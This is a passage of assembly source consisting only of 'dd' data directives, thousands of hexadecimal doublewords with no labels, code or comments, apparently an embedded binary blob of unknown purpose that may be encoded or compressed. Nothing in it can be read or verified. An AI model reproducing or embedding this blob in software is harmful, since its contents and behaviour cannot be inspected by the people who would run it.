0A8BC0020h, 0DA9057A2h dd 8504DC36h, 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h dd 4B005DC9h, 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h dd 0A3184700h, 3D83438Ch, 0C9FEA2h, 0ECC28EF4h, 0DBF12124h dd 3A14538h, 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h dd 0C525A2D9h, 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h dd 1DF8682Fh, 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h dd 0F4176984h, 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h dd 0CA2B89B6h, 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h dd 4B2FDC3Dh, 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h dd 34228CD4h, 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h dd 1C401099h, 478E003Ch, 91342338h, 2C00C830h, 247228E4h dd 0E21C2039h, 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh dd 5002814h, 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h dd 0C9440081h, 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h dd 7D3944BDh, 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h dd 40B2E937h, 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh dd 1E964E35h, 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch dd 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh dd 0B540F6h, 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h dd 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h dd 182B376Ch, 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h dd 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h dd 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h dd 0E4888032h, 8900141Fh, 2E051043h, 1060Ch, 667F6854h dd 3D53004h, 0DF6EC800h, 0C6097D60h, 6B484805h, 62842Eh dd 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h, 0D520A67Bh dd 64D5037Eh, 5F107CEEh, 96700AD8h, 0E7AE3507h, 4FE05A14h dd 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h, 0B2EB8E00h dd 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h, 374A0460h dd 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh, 2E35A6A0h, 0BC00C9BFh dd 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h, 77A4848h dd 81274A58h, 0F3EB2053h, 0B204D085h, 145C77D7h, 0CD0EC862h dd 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h, 80ED6A29h dd 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh, 66A28010h dd 25439F0h, 7A8600E8h, 0EE8AC8E0h, 0CD00AF42h, 0F00D217Fh dd 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h, 8065DF39h dd 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h, 0E80B9C13h dd 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h, 18201514h dd 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh, 0E8C28B30h dd 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch, 0FE701080h dd 131ED48h, 87E86700h, 46BA44Dh, 88E422h, 0A8903419h dd 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h, 0D75B059Eh dd 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h, 92D0006Fh dd 40A5C779h, 0D400CF7Fh, 64882238h, 4B5073h, 4C20AA52h dd 0D60CBED8h, 21AE2701h, 3F2C8F16h, 1CF5CD4h, 5ABB4A3Ch dd 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh, 135DB2A4h dd 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h, 6789D877h dd 0E5D7B8A7h, 6500C275h, 2EE19608h, 1E58595Bh, 0BA64354Bh dd 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h, 8AE705h dd 0BC84A663h, 5C766AE1h, 0E810C004h, 0FAC04607h, 12D11Bh dd 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h, 0BA4F241Fh dd 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh, 44B942C2h dd 0BA1E4813h, 825FD378h, 3C7A9882h, 1CA66032h, 36DC00B8h dd 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh, 0FE2FF4h dd 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h, 47741C6Fh dd 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch, 3E7355h dd 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h, 92F0D5AFh dd 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h, 2F9CB8h dd 0EB4E90E2h, 8B3301C0h, 4967C807h, 0ABF4BA3Ch, 2B736980h dd 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h, 0A54494h dd 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh, 7CA3853Eh dd 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h, 22F7EE4Dh dd 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh, 0F22BD101h dd 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh, 40885BEDh dd 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh, 5E4FE0h dd 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h, 698F05AFh dd 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h, 75FA0F92h dd 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h, 3EC3064h dd 0C429C314h, 77BB4418h, 0F622CAF0h, 0D443BA00h, 0A137C99Dh dd 0B8CF00A7h, 2173BE1h, 25B0C1ECh, 0E6004298h, 6B2CAB38h dd 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h, 0D857CBF3h dd 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h, 205C8725h dd 0F4FBFFE0h, 88090028h, 7F977553h, 2A008DADh, 8A2C144Ch dd 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h, 616CC82Fh dd 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h, 2D4F53h dd 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh, 45E5ED66h dd 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh, 53F45881h dd 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h, 0B725D5B8h dd 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h, 0A531266Fh dd 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h, 5251F8F4h dd 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h, 0A484C06Ch dd 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h, 4A4784Ch dd 0F61560AFh, 501C820h, 30C16590h, 0AF81910h, 0F36FE29h dd 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h, 4D282703h dd 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h, 663F5269h dd 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h, 8D8157B4h dd 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h, 154FD0FBh dd 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh, 44ED7900h dd 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h, 0E57538A0h dd 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h, 39403Ch dd 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h, 742FE73Fh dd 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h, 888B1BA0h dd 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h, 92038099h dd 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah, 8500A101h dd 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h, 16294A7Bh dd 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h, 404C6728h dd 8DE959E0h, 8E73297Bh dd 592D3Bh, 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h dd 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h dd 76481730h, 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h dd 0B88269h, 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h dd 0E73ECh, 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh dd 0C55765E3h, 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h dd 78E9AF74h, 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h dd 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh dd 0A4F9B750h, 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah dd 0E4E54020h, 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h dd 6629EEh, 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h dd 0D803C6Dh, 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h dd 9E97E805h, 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h dd 0D8450084h, 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh dd 0B794E063h, 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h dd 0ECE4AF02h, 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h dd 4F880E00h, 5122036Eh, 72710066h, 5660A06Dh, 64002567h dd 21F8966Ch, 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h dd 0F700ABD4h, 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h dd 0BA00280Dh, 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh dd 9012DD00h, 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h dd 0A4D04400h, 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch dd 680084E8h, 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h dd 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh dd 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h dd 42140063h, 50628864h, 8E676973h, 3F838A10h, 937C9C5h dd 8FBC4h, 50C15C6Bh, 0A685EF41h, 589F4403h, 0C0E23DA4h dd 4CF7F6h, 0F8324AF9h, 434838CFh, 0CCAA2700h, 335DE10Dh dd 20F076Eh, 31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h dd 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h, 102BA25h dd 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh, 75330518h, 0A013D0CDh dd 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch, 753AAC68h, 0CCA16D48h dd 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh, 2409940Ah dd 13C4400h, 6B40716Dh, 3FC50060h, 5CE6B033h, 2D3B18A5h dd 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h, 534B8F40h dd 76008778h, 0D1D77F2h, 8F010h, 8C022249h, 53140446h dd 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh, 0F233B85Fh dd 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah dd 0A01636A3h, 608657C7h, 424611ACh, 8771EC0Eh, 20A18E10h dd 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h, 0B7AE53DDh dd 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h, 198345DCh dd 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h, 77006355h dd 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h, 57C0CBC3h dd 8500E118h, 0C1A5AEDCh, 3014C210h, 0FB22958Bh, 3D0053D8h dd 0A0654827h, 60683C49h, 18E7AE05h, 500037F7h, 5514A2A1h dd 7674129Ah, 9E210076h, 1CA4D822h, 95032991h, 0B81A118Bh dd 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h, 0CEA4FC00h dd 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h, 19B43240h dd 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h, 1AC812h dd 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh, 2B363D96h dd 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh, 3E98B2BAh dd 99285295h, 513EACB8h, 8370147h, 218E428Fh, 0C6E5E8h dd 7DB15EBDh, 4A8513F2h, 0D70669FCh, 0BA120523h, 8BE7002Eh dd 533509D0h, 570040DCh, 39717064h, 4A6C6Ah, 249FEBC5h dd 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh, 640EE09Ch dd 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh, 784A0B10h dd 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h, 0F454B7C0h dd 79F07906h, 0FCB76B0h, 4E7930F8h, 0FC2D8580h, 1E00C47Eh dd 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h, 800D0F3Bh dd 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h, 3E5A30EAh dd 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h, 788D102Ah dd 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h, 7EADB474h dd 5510D500h, 0EEB1612Eh, 8838002Ah, 9BBDEC85h, 9709DFABh dd 5C201656h, 30F90079h, 948DE406h, 3E179500h, 5A57CDB9h dd 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h, 0D321B2DBh dd 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh, 0F225AC6Ch dd 2C3A7649h, 0A6F697h, 70714130h, 69006C13h, 86A9AC63h dd 630E6420h, 94FD28F2h, 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h dd 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh, 69C7B78Ch dd 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h, 52BCE00h dd 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah, 480EF6C1h dd 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h, 7D0E1803h dd 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h, 0D6E46E00h dd 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h, 0EF225Ch dd 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h, 0BA38E407h dd 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh, 34283D06h dd 74399110h, 677200C0h, 62431D70h, 64C30077h, 0A1286D66h dd 5C036568h, 8A976318h, 12F1A80Bh, 5D405C10h, 6A6E0900h dd 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h, 0E4F3DD28h dd 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h, 2760A2E0h dd 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h, 0EB144F22h dd 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h, 0C58B0745h dd 94CF77F6h, 41DC490Bh, 75B18089h, 63F816h, 64535110h dd 77712407h, 700073E6h, 62752676h, 777C691Ch, 0F9900029h dd 5C244A15h, 6B7F074Ch, 57006F7Fh, 197BC728h, 0A02A1405h dd 955689h, 24848913h, 836AA372h, 0EBF4220Fh, 0BCEFF7h dd 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh, 2566B322h dd 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h, 130FABCAh dd 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h, 9A07D751h dd 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h dd 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h, 0A319030Ah dd 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh, 401F496Eh dd 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch, 7FC317h dd 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h, 0FC64C4ECh dd 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh, 31590840h dd 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h, 0ADC705Fh dd 15890004h, 64A87B0h, 2D501245h, 68056ED0h, 0EF82CD8h dd 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h, 0BA8560C0h dd 75F7CC00h, 48AC955Ah dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h dd 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h dd 0FC7050C4h, 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h dd 0E80183B8h, 39005E33h, 980A7448h, 161506h, 20135DD1h dd 0EFC138EBh, 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh dd 0E26E3988h, 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h dd 4002C94h, 34301C84h, 162238h, 0EFFA8068h, 28E21065h dd 3732C400h, 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh dd 0A64DA6Fh, 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h dd 0EB540584h, 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h dd 83420168h, 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h dd 82297F3h, 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h dd 0C34C002Dh, 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h dd 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h dd 1482C7h, 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h dd 1B2500C8h, 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch dd 0C3511FBCh, 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h dd 8D3BE8h, 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h dd 77C90576h, 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch dd 7C097234h, 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h dd 8870B7AAh, 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h dd 87F8310h, 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h dd 0B41B2C34h, 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h dd 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h dd 0CDDE752Ah, 5E40ED4h, 2C201021h, 34443088h, 0EB382000h dd 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h dd 482A4Dh, 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h dd 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h dd 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh dd 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh dd 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh dd 836C0014h, 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h dd 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h, 6C0251ACh dd 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h dd 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h dd 50408ABBh, 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh, 0AA4F453Dh dd 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h, 26002C2Ah dd 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h, 20D803BCh dd 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h dd 16FA009Bh, 3640C611h, 0B1002266h, 63144D67h, 38BC5F68h dd 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah dd 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h, 0CDAA0FB0h dd 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h, 63844407h dd 0B2E0AAE0h, 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h dd 89E4F007h, 9050F6F8h, 0E6720A78h, 41020048h, 646D69A9h dd 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h, 7198A5D4h dd 0A18F000h, 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h dd 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h, 730E0C58h dd 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh dd 3858BF00h, 0E636A6h, 0FDBEBA70h, 69ABD42Fh, 78D80D00h dd 4F71CCE8h, 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh dd 0C6AB6BFBh, 21E82AE0h, 9D430712h, 90C2C788h, 18E7E4AAh dd 1C750500h, 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh dd 1405CC2Ch, 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h dd 0B9830B9h, 4F071EEAh, 0AEE83EFFh, 9E369CA0h, 0EC200E4Dh dd 5EE02384h, 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h dd 76DC00E8h, 8199101Ah, 0C01DFDF3h, 8B005B07h, 0D619917Fh dd 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh dd 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h, 0F210B329h dd 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh, 20A28094h dd 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h, 1BD29990h dd 9876572Dh, 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh dd 179382Ah, 0F469BD16h, 0E45E1739h, 8000BA0Bh, 5261C91Fh dd 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h dd 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh, 30A47CBAh dd 1BD395Fh, 0F886B774h, 0EC66F7B2h, 24003E96h, 135EEC21h dd 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h, 0F2549B00h dd 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh dd 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch, 9D0065A1h, 429AC8Eh dd 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh, 0A062C7Bh dd 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh, 0B6EBCD07h dd 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h, 3F070089h dd 0B88B08D5h, 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh dd 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h, 743AE247h dd 78A40009h, 405BC083h, 597AF3h, 558AC203h, 74B81820h dd 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch, 0FC2494E7h dd 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah, 88730D83h dd 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh, 0E0FD8345h dd 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh, 0FD9E5E4Ch dd 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh, 0D883061Ah dd 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch, 696A2188h dd 0F1FA1612h, 1F4AC800h, 3A7FF95Bh, 97150089h, 748F2E70h dd 3006860h, 0ED754DF0h, 4A9142h, 0FD2F1AF9h, 627D7E9Bh dd 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h, 5425BA01h dd 0F3137565h, 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h dd 15FCF141h, 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h dd 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh dd 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h dd 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh, 890020FDh dd 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h, 0B2622A8Fh dd 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h, 5B791DA9h dd 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h, 89660013h dd 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h, 3E90F8CFh dd 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh, 4203800Eh dd 33F7024h, 254FF066h, 138896D5h, 1C004522h, 270520A8h dd 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h dd 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh, 9055FE78h dd 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h, 7B78F6EAh dd 77FB0220h dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h dd 4C78346h, 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h dd 5200791Ch, 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h dd 85D275h, 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh dd 0EAE6E297h, 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h dd 0E108B8BBh, 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h dd 2BCD0379h, 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h dd 14F47970h, 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh dd 0FA4AEBC7h, 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h dd 0F7901773h, 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch dd 201E00C2h, 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h dd 0A000EEEh, 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh dd 8E12225Dh, 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h dd 48202CB8h, 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch dd 407E0CE9h, 114CFF02h, 80F0756h, 91F6482Eh, 3737566h dd 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh dd 56AB2C8Dh, 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h dd 0BC2042C7h, 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h dd 0B006DC3Ah, 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h dd 0F048BA76h, 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h dd 0BBB3274Ah, 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h dd 143A7E39h, 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh dd 0BC6380BFh, 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah dd 0C27043B4h, 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch dd 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h dd 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h dd 168E4212h, 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch dd 